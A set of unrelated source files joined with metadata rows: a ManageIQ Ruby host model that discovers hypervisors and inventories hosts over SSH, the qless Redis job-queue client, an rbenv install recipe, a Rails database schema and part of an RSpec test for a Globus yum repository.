self.name = "Microsoft Hyper-V (#{ipaddr})"
self.type = "ManageIQ::Providers::Microsoft::InfraManager::Host"
self.ipaddress = ipaddr
self.vmm_vendor = "microsoft"
self.vmm_product = "Hyper-V"
elsif ost.hypervisor.include?(:esx)
self.name = "VMware ESX Server (#{ipaddr})"
self.ipaddress = ipaddr
self.vmm_vendor = "vmware"
self.vmm_product = "Esx"
self.type = "ManageIQ::Providers::Vmware::InfraManager::HostEsx"
elsif ost.hypervisor.include?(:ipmi)
find_method = :find_by_ipmi_address
self.name = "IPMI (#{ipaddr})"
self.type = "Host"
self.vmm_vendor = "unknown"
self.vmm_product = nil
self.ipmi_address = ipaddr
self.ipaddress = nil
self.hostname = nil
else
self.vmm_vendor = ost.hypervisor.join(", ")
self.type = "Host"
end
find_method
end
def self.ost_inspect(ost)
hash = ost.marshal_dump.dup
hash.delete(:credentials)
OpenStruct.new(hash).inspect
end
def self.discoverHost(options)
require 'manageiq/network_discovery/discovery'
ost = OpenStruct.new(Marshal.load(options))
_log.info("Discovering Host: #{ost_inspect(ost)}")
begin
ManageIQ::NetworkDiscovery::Discovery.scan_host(ost)
if ost.hypervisor.empty?
_log.info("NOT Discovered: #{ost_inspect(ost)}")
else
_log.info("Discovered: #{ost_inspect(ost)}")
if %i(virtualcenter scvmm rhevm openstack_infra).any? { |ems_type| ost.hypervisor.include?(ems_type) }
ExtManagementSystem.create_discovered_ems(ost)
return # only create ems instance, no host.
end
host = new(
:name => "#{ost.ipaddr} - discovered #{Time.now.utc.strftime("%Y-%m-%d %H:%M %Z")}",
:ipaddress => ost.ipaddr,
:hostname => Socket.getaddrinfo(ost.ipaddr, nil)[0][2]
)
find_method = host.detect_discovered_hypervisor(ost, ost.ipaddr)
os_name, os_type = host.detect_discovered_os(ost)
if Host.send(find_method, ost.ipaddr).nil?
# It may have been added by someone else while we were discovering
host.save!
if ost.hypervisor.include?(:ipmi)
# IPMI - Check if credentials were passed and try to scan host
cred = (ost.credentials || {})[:ipmi]
unless cred.nil? || cred[:userid].blank?
ipmi = MiqIPMI.new(host.ipmi_address, cred[:userid], cred[:password])
if ipmi.connected?
_log.warn("IPMI connected to Host:<#{host.ipmi_address}> with User:<#{cred[:userid]}>")
host.update_authentication(:ipmi => cred)
host.scan
else
_log.warn("IPMI did not connect to Host:<#{host.ipmi_address}> with User:<#{cred[:userid]}>")
end
end
else
# Try to convert IP address to hostname and update host data
netHostName = Host.get_hostname(ost.ipaddr)
host.name = netHostName if netHostName
EmsRefresh.save_operating_system_inventory(host, :product_name => os_name, :product_type => os_type) unless os_name.nil?
EmsRefresh.save_hardware_inventory(host, {:cpu_type => "intel"})
host.save!
end
_log.info("#{host.name} created")
AuditEvent.success(:event => "host_created", :target_id => host.id, :target_class => "Host", :message => "#{host.name} created")
end
end
rescue => err
_log.log_backtrace(err)
AuditEvent.failure(:event => "host_created", :target_class => "Host", :message => "creating host, #{err}")
end
end
def self.get_hostname(ipAddress)
_log.info("Resolving hostname: [#{ipAddress}]")
begin
ret = Socket.gethostbyname(ipAddress)
name = ret.first
rescue => err
_log.error("ERROR: #{err}")
return nil
end
_log.info("Resolved hostname: [#{name}] to [#{ipAddress}]")
name
end
def ssh_users_and_passwords
if has_authentication_type?(:remote)
rl_user, rl_password = auth_user_pwd(:remote)
su_user, su_password = auth_user_pwd(:root)
else
rl_user, rl_password = auth_user_pwd(:root)
su_user, su_password = nil, nil
end
return rl_user, rl_password, su_user, su_password, {}
end
def connect_ssh(options = {})
require 'manageiq-ssh-util'
rl_user, rl_password, su_user, su_password, additional_options = ssh_users_and_passwords
options.merge!(additional_options)
prompt_delay = ::Settings.ssh.try(:authentication_prompt_delay)
options[:authentication_prompt_delay] = prompt_delay unless prompt_delay.nil?
users = su_user.nil? ? rl_user : "#{rl_user}/#{su_user}"
# Obfuscate private keys in the log with ****, so it's visible that field was used, but no user secret is exposed
logged_options = options.dup
logged_options[:key_data] = "[FILTERED]" if logged_options[:key_data]
_log.info("Initiating SSH connection to Host:[#{name}] using [#{hostname}] for user:[#{users}]. Options:[#{logged_options.inspect}]")
begin
ManageIQ::SSH::Util.shell_with_su(hostname, rl_user, rl_password, su_user, su_password, options) do |ssu, _shell|
_log.info("SSH connection established to [#{hostname}]")
yield(ssu)
end
_log.info("SSH connection completed to [#{hostname}]")
rescue Exception => err
_log.error("SSH connection failed for [#{hostname}] with [#{err.class}: #{err}]")
raise err
end
end
def refresh_patches(ssu)
return unless vmm_buildnumber && vmm_buildnumber != patches.highest_patch_level
patches = []
begin
sb = ssu.shell_exec("esxupdate query")
t = Time.now
sb.each_line do |line|
next if line =~ /-{5,}/ # skip any header/footer rows
data = line.split(" ")
# Find the lines we should skip
begin
next if data[1, 2].nil?
dhash = {:name => data[0], :vendor => "VMware", :installed_on => Time.parse(data[1, 2].join(" ")).utc}
next if dhash[:installed_on] - t >= 0
dhash[:description] = data[3..-1].join(" ") unless data[3..-1].nil?
patches << dhash
rescue ArgumentError => err
_log.log_backtrace(err)
next
rescue => err
_log.log_backtrace(err)
end
end
rescue
end
Patch.refresh_patches(self, patches)
end
def collect_services(ssu)
services = ssu.shell_exec("systemctl -a --type service --no-legend")
if services
# If there is a systemd use only that, chconfig is calling systemd on the background, but has misleading results
MiqLinux::Utils.parse_systemctl_list(services)
else
services = ssu.shell_exec("chkconfig --list")
MiqLinux::Utils.parse_chkconfig_list(services)
end
end
def refresh_services(ssu)
xml = MiqXml.createDoc(:miq).root.add_element(:services)
services = collect_services(ssu)
services.each do |service|
s = xml.add_element(:service,
'name' => service[:name],
'systemd_load' => service[:systemd_load],
'systemd_sub' => service[:systemd_sub],
'description' => service[:description],
'running' => service[:running],
'systemd_active' => service[:systemd_active],
'typename' => service[:typename])
service[:enable_run_level].each { |l| s.add_element(:enable_run_level, 'value' => l) } unless service[:enable_run_level].nil?
service[:disable_run_level].each { |l| s.add_element(:disable_run_level, 'value' => l) } unless service[:disable_run_level].nil?
end
SystemService.add_elements(self, xml.root)
rescue
end
def refresh_linux_packages(ssu)
pkg_xml = MiqXml.createDoc(:miq).root.add_element(:software).add_element(:applications)
rpm_list = ssu.shell_exec("rpm -qa --queryformat '%{NAME}|%{VERSION}|%{ARCH}|%{GROUP}|%{RELEASE}|%{SUMMARY}\n'").force_encoding("utf-8")
rpm_list.each_line do |line|
l = line.split('|')
pkg_xml.add_element(:application, 'name' => l[0], 'version' => l[1], 'arch' => l[2], 'typename' => l[3], 'release' => l[4], 'description' => l[5])
end
GuestApplication.add_elements(self, pkg_xml.root)
rescue
end
def refresh_user_groups(ssu)
xml = MiqXml.createDoc(:miq)
node = xml.root.add_element(:accounts)
MiqLinux::Users.new(ssu).to_xml(node)
Account.add_elements(self, xml.root)
rescue
# _log.log_backtrace($!)
end
def refresh_ssh_config(ssu)
self.ssh_permit_root_login = nil
permit_list = ssu.shell_exec("grep PermitRootLogin /etc/ssh/sshd_config")
# Setting default value to yes, which is default according to man sshd_config, if ssh returned something
self.ssh_permit_root_login = 'yes' if permit_list
permit_list.each_line do |line|
la = line.split(' ')
if la.length == 2
next if la.first[0, 1] == '#'
self.ssh_permit_root_login = la.last.to_s.downcase
break
end
end
rescue
# _log.log_backtrace($!)
end
def refresh_fs_files(ssu)
sp = HostScanProfiles.new(ScanItem.get_profile("host default"))
files = sp.parse_data_files(ssu)
EmsRefresh.save_filesystems_inventory(self, files) if files
rescue
# _log.log_backtrace($!)
end
def refresh_ipmi
if ipmi_config_valid?
require 'miq-ipmi'
address = ipmi_address
if MiqIPMI.is_available?(address)
ipmi = MiqIPMI.new(address, *auth_user_pwd(:ipmi))
if ipmi.connected?
self.power_state = ipmi.power_state
mac = ipmi.mac_address
self.mac_address = mac unless mac.blank?
hw_info = {:manufacturer => ipmi.manufacturer, :model => ipmi.model}
if hardware.nil?
EmsRefresh.save_hardware_inventory(self, hw_info)
else
hardware.update(hw_info)
end
else
_log.warn("IPMI Login failed due to a bad username or password.")
end
else
_log.info("IPMI is not available on this Host")
end
end
end
def ipmi_config_valid?(include_mac_addr = false)
return false unless (ipmi_address.present? && has_credentials?(:ipmi))
include_mac_addr == true ? mac_address.present? : true
end
alias_method :ipmi_enabled, :ipmi_config_valid?
def set_custom_field(attribute, value)
return unless is_vmware?
raise _("Host has no EMS, unable to set custom attribute") unless ext_management_system
ext_management_system.set_custom_field(self, :attribute => attribute, :value => value)
end
def quickStats
return @qs if @qs
return {} unless supports?(:quick_stats)
begin
raise _("Host has no EMS, unable to get host statistics") unless ext_management_system
@qs = ext_management_system.host_quick_stats(self)
rescue => err
_log.warn("Error '#{err.message}' encountered attempting to get host quick statistics")
return {}
end
@qs
end
def current_memory_usage
quickStats["overallMemoryUsage"].to_i
end
def current_cpu_usage
quickStats["overallCpuUsage"].to_i
end
def current_memory_headroom
ram_size - current_memory_usage
end
def firewall_rules
return [] if operating_system.nil?
operating_system.firewall_rules
end
def enforce_policy(vm, event)
inputs = {:vm => vm, :host => self}
MiqEvent.raise_evm_event(vm, event, inputs)
end
def first_cat_entry(name)
Classification.first_cat_entry(name, self)
end
def scan(userid = "system", options = {})
_log.info("Requesting scan of #{log_target}")
check_policy_prevent(:request_host_scan, :scan_queue, userid, options)
end
def scan_queue(userid = 'system', _options = {})
_log.info("Queuing scan of #{log_target}")
task = MiqTask.create(:name => "SmartState Analysis for '#{name}' ", :userid => userid)
return unless validate_task(task)
timeout = ::Settings.host_scan.queue_timeout.to_i_with_method
cb = {:class_name => task.class.name, :instance_id => task.id, :method_name => :queue_callback_on_exceptions, :args => ['Finished']}
MiqQueue.put(
:class_name => self.class.name,
:instance_id => id,
:args => [task.id],
:method_name => "scan_from_queue",
:miq_callback => cb,
:msg_timeout => timeout,
:role => "ems_operations",
:queue_name => queue_name_for_ems_operations,
:zone => my_zone
)
end
def scan_from_queue(taskid = nil)
unless taskid.nil?
task = MiqTask.find_by(:id => taskid)
task.state_active if task
end
_log.info("Scanning #{log_target}...")
task.update_status("Active", "Ok", "Scanning") if task
_dummy, t = Benchmark.realtime_block(:total_time) do
if supports?(:refresh_firewall_rules)
# Firewall Rules and Advanced Settings go through EMS so we don't need Host credentials
_log.info("Refreshing Firewall Rules for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Firewall Rules") if task
Benchmark.realtime_block(:refresh_firewall_rules) { refresh_firewall_rules }
end
if supports?(:refresh_advanced_settings)
_log.info("Refreshing Advanced Settings for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Advanced Settings") if task
Benchmark.realtime_block(:refresh_advanced_settings) { refresh_advanced_settings }
end
if ext_management_system.nil?
_log.info("Refreshing IPMI information for #{log_target}")
task.update_status("Active", "Ok", "Refreshing IPMI Information") if task
Benchmark.realtime_block(:refresh_ipmi) { refresh_ipmi }
end
save
# Skip SSH for ESXi hosts
unless is_vmware_esxi?
if hostname.blank?
_log.warn("No hostname defined for #{log_target}")
task.update_status("Finished", "Warn", "Scanning incomplete due to missing hostname") if task
return
end
update_ssh_auth_status! if respond_to?(:update_ssh_auth_status!)
if missing_credentials?
_log.warn("No credentials defined for #{log_target}")
task.update_status("Finished", "Warn", "Scanning incomplete due to Credential Issue") if task
return
end
begin
connect_ssh do |ssu|
_log.info("Refreshing Patches for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Patches") if task
Benchmark.realtime_block(:refresh_patches) { refresh_patches(ssu) }
_log.info("Refreshing Services for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Services") if task
Benchmark.realtime_block(:refresh_services) { refresh_services(ssu) }
_log.info("Refreshing Linux Packages for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Linux Packages") if task
Benchmark.realtime_block(:refresh_linux_packages) { refresh_linux_packages(ssu) }
_log.info("Refreshing User Groups for #{log_target}")
task.update_status("Active", "Ok", "Refreshing User Groups") if task
Benchmark.realtime_block(:refresh_user_groups) { refresh_user_groups(ssu) }
_log.info("Refreshing SSH Config for #{log_target}")
task.update_status("Active", "Ok", "Refreshing SSH Config") if task
Benchmark.realtime_block(:refresh_ssh_config) { refresh_ssh_config(ssu) }
_log.info("Refreshing FS Files for #{log_target}")
task.update_status("Active", "Ok", "Refreshing FS Files") if task
Benchmark.realtime_block(:refresh_fs_files) { refresh_fs_files(ssu) }
if supports?(:refresh_network_interfaces)
_log.info("Refreshing network interfaces for #{log_target}")
task.update_status("Active", "Ok", "Refreshing network interfaces") if task
Benchmark.realtime_block(:refresh_network_interfaces) { refresh_network_interfaces(ssu) }
end
# refresh_openstack_services should run after refresh_services and refresh_fs_files
if respond_to?(:refresh_openstack_services)
_log.info("Refreshing OpenStack Services for #{log_target}")
task.update_status("Active", "Ok", "Refreshing OpenStack Services") if task
Benchmark.realtime_block(:refresh_openstack_services) { refresh_openstack_services(ssu) }
end
save
end
rescue Net::SSH::HostKeyMismatch
# Keep from dumping stack trace for this error which is sufficiently logged in the connect_ssh method
rescue => err
_log.log_backtrace(err)
end
end
if supports?(:refresh_logs)
_log.info("Refreshing Log information for #{log_target}")
task.update_status("Active", "Ok", "Refreshing Log Information") if task
Benchmark.realtime_block(:refresh_logs) { refresh_logs }
end
_log.info("Saving state for #{log_target}")
task.update_status("Active", "Ok", "Saving Drift State") if task
Benchmark.realtime_block(:save_driftstate) { save_drift_state }
begin
MiqEvent.raise_evm_job_event(self, :type => "scan", :suffix => "complete")
rescue => err
_log.warn("Error raising complete scan event for #{log_target}: #{err.message}")
end
end
task.update_status("Finished", "Ok", "Scanning Complete") if task
_log.info("Scanning #{log_target}...Complete - Timings: #{t.inspect}")
end
def validate_task(task)
if ext_management_system&.zone == Zone.maintenance_zone
task.update_status(MiqTask::STATE_FINISHED, MiqTask::STATUS_ERROR, "#{ext_management_system.name} is paused")
return false
end
true
end
def ssh_run_script(script)
connect_ssh { |ssu| return ssu.shell_exec(script) }
end
def add_ems_events(event_hash)
event_hash[:events].each do |event|
event[:ems_id] = ems_id
event[:host_name] = name
event[:host_id] = id
begin
EmsEvent.add(ems_id, event)
rescue => err
_log.log_backtrace(err)
end
end
end
# Virtual columns for folder and datacenter
def v_owning_folder
o = owning_folder
o ? o.name : ""
end
def v_owning_datacenter
o = owning_datacenter
o ? o.name : ""
end
def miq_scsi_luns
luns = []
return luns if hardware.nil?
hardware.storage_adapters.each do |sa|
sa.miq_scsi_targets.each do |st|
luns.concat(st.miq_scsi_luns)
end
end
luns
end
def enabled_inbound_ports
get_ports("in")
end
def enabled_outbound_ports
get_ports("out")
end
def enabled_tcp_inbound_ports
get_ports("in", "tcp")
end
def enabled_tcp_outbound_ports
get_ports("out", "tcp")
end
def enabled_udp_inbound_ports
get_ports("in", "udp")
end
def enabled_udp_outbound_ports
get_ports("out", "udp")
end
def all_enabled_ports
get_ports
end
def get_ports(direction = nil, host_protocol = nil)
return [] if operating_system.nil?
conditions = {:enabled => true}
conditions[:direction] = direction if direction
conditions[:host_protocol] = host_protocol if host_protocol
operating_system.firewall_rules.where(conditions)
.flat_map { |rule| rule.port_range.to_a }
.uniq.sort
end
def service_names
system_services.collect(&:name).uniq.sort
end
def enabled_run_level_0_services
get_service_names(0)
end
def enabled_run_level_1_services
get_service_names(2)
end
def enabled_run_level_2_services
get_service_names(2)
end
def enabled_run_level_3_services
get_service_names(3)
end
def enabled_run_level_4_services
get_service_names(4)
end
def enabled_run_level_5_services
get_service_names(5)
end
def enabled_run_level_6_services
get_service_names(6)
end
def get_service_names(*args)
if args.length == 0
services = host_services
elsif args.length == 1
services = host_services.where("enable_run_levels LIKE ?", "%#{args.first}%")
end
services.order(:name).uniq.pluck(:name)
end
def event_where_clause(assoc = :ems_events)
case assoc.to_sym
when :ems_events, :event_streams
["host_id = ? OR dest_host_id = ?", id, id]
when :policy_events
["host_id = ?", id]
end
end
def has_vm_scan_affinity?
with_relationship_type("vm_scan_affinity") { parent_count > 0 }
end
def vm_scan_affinity=(list)
list = [list].flatten
with_relationship_type("vm_scan_affinity") do
remove_all_parents
list.each { |parent| set_parent(parent) }
end
true
end
alias_method :set_vm_scan_affinity, :vm_scan_affinity=
def vm_scan_affinity
with_relationship_type("vm_scan_affinity") { parents }
end
alias_method :get_vm_scan_affinity, :vm_scan_affinity
def processes
operating_system.try(:processes) || []
end
def event_logs
operating_system.try(:event_logs) || []
end
def get_reserve(field)
default_resource_pool.try(:send, field)
end
def cpu_reserve
get_reserve(:cpu_reserve)
end
def memory_reserve
get_reserve(:memory_reserve)
end
def total_vm_cpu_reserve
vms.inject(0) { |t, vm| t + (vm.cpu_reserve || 0) }
end
def total_vm_memory_reserve
vms.inject(0) { |t, vm| t + (vm.memory_reserve || 0) }
end
def vcpus_per_core
cores = total_vcpus
return 0 if cores == 0
total_vm_vcpus = vms.inject(0) { |t, vm| t + (vm.num_cpu || 0) }
(total_vm_vcpus / cores)
end
def domain
names = hostname.to_s.split(',').first.to_s.split('.')
return names[1..-1].join('.') unless names.blank?
nil
end
#
# Metric methods
#
PERF_ROLLUP_CHILDREN = [:vms]
def perf_rollup_parents(interval_name = nil)
if interval_name == 'realtime'
[ems_cluster].compact if ems_cluster
else
[ems_cluster || ext_management_system].compact
end
end
def get_performance_metric(capture_interval, metric, range, function = nil)
# => capture_interval = 'realtime' | 'hourly' | 'daily'
# => metric = perf column name (real or virtual)
# => function = :avg | :min | :max
# => range = [start_time, end_time] | start_time | number in seconds to go back
time_range = if range.kind_of?(Array)
range
elsif range.kind_of?(Time)
[range.utc, Time.now.utc]
elsif range.kind_of?(String)
[range.to_time(:utc), Time.now.utc]
elsif range.kind_of?(Integer)
[range.seconds.ago.utc, Time.now.utc]
else
raise "Range #{range} is invalid"
end
klass = case capture_interval.to_s
when 'realtime' then HostMetric
else HostPerformance
end
perfs = klass.where(
[
"resource_id = ? AND capture_interval_name = ? AND timestamp >= ? AND timestamp <= ?",
id,
capture_interval.to_s,
time_range[0],
time_range[1]
]
).order("timestamp")
if capture_interval.to_sym == :realtime && metric.to_s.starts_with?("v_pct_cpu_")
vm_vals_by_ts = get_pct_cpu_metric_from_child_vm_performances(metric, capture_interval, time_range)
values = perfs.collect { |p| vm_vals_by_ts[p.timestamp] || 0 }
else
values = perfs.collect(&metric.to_sym)
end
# => returns value | [array of values] (if function.nil?)
return values if function.nil?
case function.to_sym
when :min, :max then return values.send(function)
when :avg
return 0 if values.length == 0
return (values.compact.sum / values.length)
else
raise _("Function %{function} is invalid, should be one of :min, :max, :avg or nil") % {:function => function}
end
end
def get_pct_cpu_metric_from_child_vm_performances(metric, capture_interval, time_range)
klass = case capture_interval.to_s
when 'realtime' then VmMetric
else VmPerformance
end
vm_perfs = klass.where(
"parent_host_id = ? AND capture_interval_name = ? AND timestamp >= ? AND timestamp <= ?",
id,
capture_interval.to_s,
time_range[0],
time_range[1])
perf_hash = {}
vm_perfs.each do |p|
perf_hash[p.timestamp] ||= []
perf_hash[p.timestamp] << p.send(metric)
end
perf_hash.each_key do |ts|
tot = perf_hash[ts].compact.sum
perf_hash[ts] = perf_hash[ts].empty? ? 0 : (tot / perf_hash[ts].length.to_f)
end
perf_hash
end
# Host Discovery Types and Platforms
def self.host_create_os_types
# TODO: This feature has been removed, once the UI no longer calls this
# method we can delete it
[]
end
Vmdb::Deprecation.deprecate_methods(self, :host_create_os_types)
def has_compliance_policies?
_, plist = MiqPolicy.get_policies_for_target(self, "compliance", "host_compliance_check")
!plist.blank?
end
def writable_storages
if host_storages.loaded? && host_storages.all? { |hs| hs.association(:storage).loaded? }
host_storages.reject(&:read_only).map(&:storage)
else
storages.where(:host_storages => {:read_only => [false, nil]})
end
end
def read_only_storages
if host_storages.loaded? && host_storages.all? { |hs| hs.association(:storage).loaded? }
host_storages.select(&:read_only).map(&:storage)
else
storages.where(:host_storages => {:read_only => true})
end
end
def archived?
ems_id.nil?
end
alias archived archived?
def normalized_state
return 'archived' if archived?
return power_state unless power_state.nil?
"unknown"
end
def self.display_name(number = 1)
n_('Host', 'Hosts', number)
end
end
| 33.888568 | 165 | 0.659715 |
ff1aa255c937129c5b81237c2d1cc37a40eb4729 | 6,581 | # Encoding: utf-8
require 'socket'
require 'redis'
require 'json'
require 'securerandom'
# The top level container for all things qless
module Qless
# Define our error base class before requiring the other files so they can
# define subclasses.
Error = Class.new(StandardError)
# to maintain backwards compatibility with v2.x of that gem we need this
# constant because:
# - (lua.rb) the #evalsha method signature changed between v2.x and v3.x of
# the redis ruby gem
# - (worker.rb) in v3.x you have to reconnect to the redis server after
# forking the process
USING_LEGACY_REDIS_VERSION = ::Redis::VERSION.to_f < 3.0
end
require 'qless/version'
require 'qless/config'
require 'qless/queue'
require 'qless/job'
require 'qless/lua_script'
require 'qless/failure_formatter'
# The top level container for all things qless
module Qless
UnsupportedRedisVersionError = Class.new(Error)
def generate_jid
SecureRandom.uuid.gsub('-', '')
end
def stringify_hash_keys(hash)
hash.each_with_object({}) do |(key, value), result|
result[key.to_s] = value
end
end
def failure_formatter
@failure_formatter ||= FailureFormatter.new
end
module_function :generate_jid, :stringify_hash_keys, :failure_formatter
# A class for interacting with jobs. Not meant to be instantiated directly,
# it's accessed through Client#jobs
class ClientJobs
def initialize(client)
@client = client
end
def complete(offset = 0, count = 25)
@client.call('jobs', 'complete', offset, count)
end
def tracked
results = JSON.parse(@client.call('track'))
results['jobs'] = results['jobs'].map { |j| Job.new(@client, j) }
results
end
def tagged(tag, offset = 0, count = 25)
results = JSON.parse(@client.call('tag', 'get', tag, offset, count))
# Should be an empty array instead of an empty hash
results['jobs'] = [] if results['jobs'] == {}
results
end
def failed(t = nil, start = 0, limit = 25)
if !t
return JSON.parse(@client.call('failed'))
else
results = JSON.parse(@client.call('failed', t, start, limit))
results['jobs'] = multiget(*results['jobs'])
results
end
end
def [](id)
get(id)
end
def get(jid)
results = @client.call('get', jid)
if results.nil?
results = @client.call('recur.get', jid)
return nil if results.nil?
return RecurringJob.new(@client, JSON.parse(results))
end
Job.new(@client, JSON.parse(results))
end
def multiget(*jids)
results = JSON.parse(@client.call('multiget', *jids))
results.map do |data|
Job.new(@client, data)
end
end
end
# A class for interacting with workers. Not meant to be instantiated
# directly, it's accessed through Client#workers
class ClientWorkers
def initialize(client)
@client = client
end
def counts
JSON.parse(@client.call('workers'))
end
def [](name)
JSON.parse(@client.call('workers', name))
end
end
# A class for interacting with queues. Not meant to be instantiated directly,
# it's accessed through Client#queues
class ClientQueues
def initialize(client)
@client = client
end
def counts
JSON.parse(@client.call('queues'))
end
def [](name)
Queue.new(name, @client)
end
end
# A class for interacting with events. Not meant to be instantiated directly,
# it's accessed through Client#events
class ClientEvents
EVENTS = %w{canceled completed failed popped stalled put track untrack}
EVENTS.each do |method|
define_method(method.to_sym) do |&block|
@actions[method.to_sym] = block
end
end
def initialize(redis)
@redis = redis
@actions = {}
end
def listen
yield(self) if block_given?
channels = EVENTS.map { |event| "ql:#{event}" }
@redis.subscribe(channels) do |on|
on.message do |channel, message|
callback = @actions[channel.sub('ql:', '').to_sym]
callback.call(message) unless callback.nil?
end
end
end
def stop
@redis.unsubscribe
end
end
# The client for interacting with Qless
class Client
# Lua script
attr_reader :_qless, :config, :redis, :jobs, :queues, :workers
attr_accessor :worker_name
def initialize(options = {})
# This is the redis instance we're connected to. Use connect so REDIS_URL
# will be honored
@redis = options[:redis] || Redis.connect(options)
@options = options
assert_minimum_redis_version('2.5.5')
@config = Config.new(self)
@_qless = Qless::LuaScript.new('qless', @redis)
@jobs = ClientJobs.new(self)
@queues = ClientQueues.new(self)
@workers = ClientWorkers.new(self)
@worker_name = [Socket.gethostname, Process.pid.to_s].join('-')
end
def inspect
"<Qless::Client #{@options} >"
end
def events
# Events needs its own redis instance of the same configuration, because
# once it's subscribed, we can only use pub-sub-like commands. This way,
# we still have access to the client in the normal case
@events ||= ClientEvents.new(Redis.connect(@options))
end
def call(command, *argv)
@_qless.call(command, Time.now.to_f, *argv)
end
def track(jid)
call('track', 'track', jid)
end
def untrack(jid)
call('track', 'untrack', jid)
end
def tags(offset = 0, count = 100)
JSON.parse(call('tag', 'top', offset, count))
end
def deregister_workers(*worker_names)
call('worker.deregister', *worker_names)
end
def bulk_cancel(jids)
call('cancel', jids)
end
if ::Redis.instance_method(:dup).owner == ::Redis
def new_redis_connection
redis.dup
end
else # redis version < 3.0.7
def new_redis_connection
::Redis.new(@options)
end
end
def ==(other)
self.class == other.class && redis.id == other.redis.id
end
alias eql? ==
def hash
self.class.hash ^ redis.id.hash
end
private
def assert_minimum_redis_version(version)
# remove the "-pre2" from "2.6.8-pre2"
redis_version = @redis.info.fetch('redis_version').split('-').first
return if Gem::Version.new(redis_version) >= Gem::Version.new(version)
raise UnsupportedRedisVersionError,
"Qless requires #{version} or better, not #{redis_version}"
end
end
end
| 25.707031 | 79 | 0.637897 |
f8bf894cf0d090ca4ba69e6cbeeff4e8b18b2853 | 1,195 | node ||= {
"rbenv" => {
"versions" => [ "2.2.2" ],
"local" => "2.2.2",
"gems" => [ "bundler", "rake" ],
"user" => "vagrant",
"rbenv_config_file" => "~/.bash_profile",
"rbenv_dir" => "/var/tmp/rbenv",
"rubybuild_dir" => "/var/tmp/rbenv/plugins/ruby-build",
},
}
node["rbenv"]["versions"].each do |version|
execute "install ruby #{version}" do
user node["rbenv"]["user"]
command "export TMPDIR=/var/tmp; source ~/.bash_profile; rbenv install #{version}"
not_if "export TMPDIR=/var/tmp; source ~/.bash_profile; rbenv versions | grep #{version}"
end
end
execute "set local ruby #{node["rbenv"]["local"]}" do
user node["rbenv"]["user"]
command "export TMPDIR=/var/tmp; source ~/.bash_profile; rbenv local #{node["rbenv"]["local"]}; rbenv rehash"
not_if "export TMPDIR=/var/tmp; source ~/.bash_profile; rbenv local | grep #{node["rbenv"]["local"]}"
end
node["rbenv"]["gems"].each do |gem|
execute "gem install #{gem}" do
user node["rbenv"]["user"]
command "export TMPDIR=/var/tmp; source ~/.bash_profile; gem install #{gem}; rbenv rehash"
not_if "export TMPDIR=/var/tmp; source ~/.bash_profile; gem list | grep #{gem}"
end
end
| 34.142857 | 111 | 0.622594 |
d5d04dc3c4d85d640c547eef2f3bace29300088e | 2,697 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20170514001008) do
create_table "conversations", force: :cascade do |t|
t.integer "sender_id"
t.integer "recipient_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["recipient_id"], name: "index_conversations_on_recipient_id"
t.index ["sender_id"], name: "index_conversations_on_sender_id"
end
create_table "messages", force: :cascade do |t|
t.text "body"
t.integer "conversation_id"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["conversation_id"], name: "index_messages_on_conversation_id"
t.index ["user_id"], name: "index_messages_on_user_id"
end
create_table "microposts", force: :cascade do |t|
t.text "content"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "picture"
t.index ["user_id", "created_at"], name: "index_microposts_on_user_id_and_created_at"
t.index ["user_id"], name: "index_microposts_on_user_id"
end
create_table "relationships", force: :cascade do |t|
t.integer "follower_id"
t.integer "followed_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.index ["followed_id"], name: "index_relationships_on_followed_id"
t.index ["follower_id", "followed_id"], name: "index_relationships_on_follower_id_and_followed_id", unique: true
t.index ["follower_id"], name: "index_relationships_on_follower_id"
end
create_table "users", force: :cascade do |t|
t.string "name"
t.string "email"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.string "password_digest"
t.boolean "admin", default: false
t.index ["email"], name: "index_users_on_email", unique: true
end
end
| 41.492308 | 116 | 0.705599 |
79a9ed6ada6238ad7bbcbeddeec1eed231d8f6fb | 4,027 | shared_examples_for 'globus::repo::el' do |facts|
if facts[:operatingsystem] == 'Fedora'
let(:url_os) { 'fedora' }
else
let(:url_os) { 'el' }
end
let(:baseurl) { "https://downloads.globus.org/toolkit/gt6/stable/rpm/#{url_os}/#{facts[:operatingsystemmajrelease]}/$basearch/" }
let(:baseurl_v5) { "https://downloads.globus.org/globus-connect-server/stable/rpm/#{url_os}/#{facts[:operatingsystemmajrelease]}/$basearch/" }
it 'installs yum priorities plugin' do
is_expected.to contain_package('yum-plugin-priorities')
end
it 'installs GPG key' do
is_expected.to contain_exec('RPM-GPG-KEY-Globus')
.with(path: '/usr/bin:/bin:/usr/sbin:/sbin',
command: 'wget -qO- https://downloads.globus.org/toolkit/globus-connect-server/globus-connect-server-repo-latest.noarch.rpm | rpm2cpio - | cpio -i --quiet --to-stdout ./etc/pki/rpm-gpg/RPM-GPG-KEY-Globus > /etc/pki/rpm-gpg/RPM-GPG-KEY-Globus', # rubocop:disable Metrics/LineLength
creates: '/etc/pki/rpm-gpg/RPM-GPG-KEY-Globus',
before: 'Yumrepo[Globus-Toolkit]')
end
it 'creates Yumrepo[Globus-Toolkit]' do
is_expected.to contain_yumrepo('Globus-Toolkit').with(descr: 'Globus-Toolkit-6',
baseurl: baseurl,
failovermethod: 'priority',
priority: '98',
enabled: '1',
gpgcheck: '1',
gpgkey: 'file:///etc/pki/rpm-gpg/RPM-GPG-KEY-Globus')
end
it { is_expected.not_to contain_yumrepo('globus-connect-server-5') }
context 'version => 5', if: support_v5(facts) do
let(:params) { { version: '5' } }
it 'installs yum priorities plugin' do
is_expected.to contain_package('yum-plugin-priorities')
end
it 'installs GPG key' do
is_expected.to contain_exec('RPM-GPG-KEY-Globus')
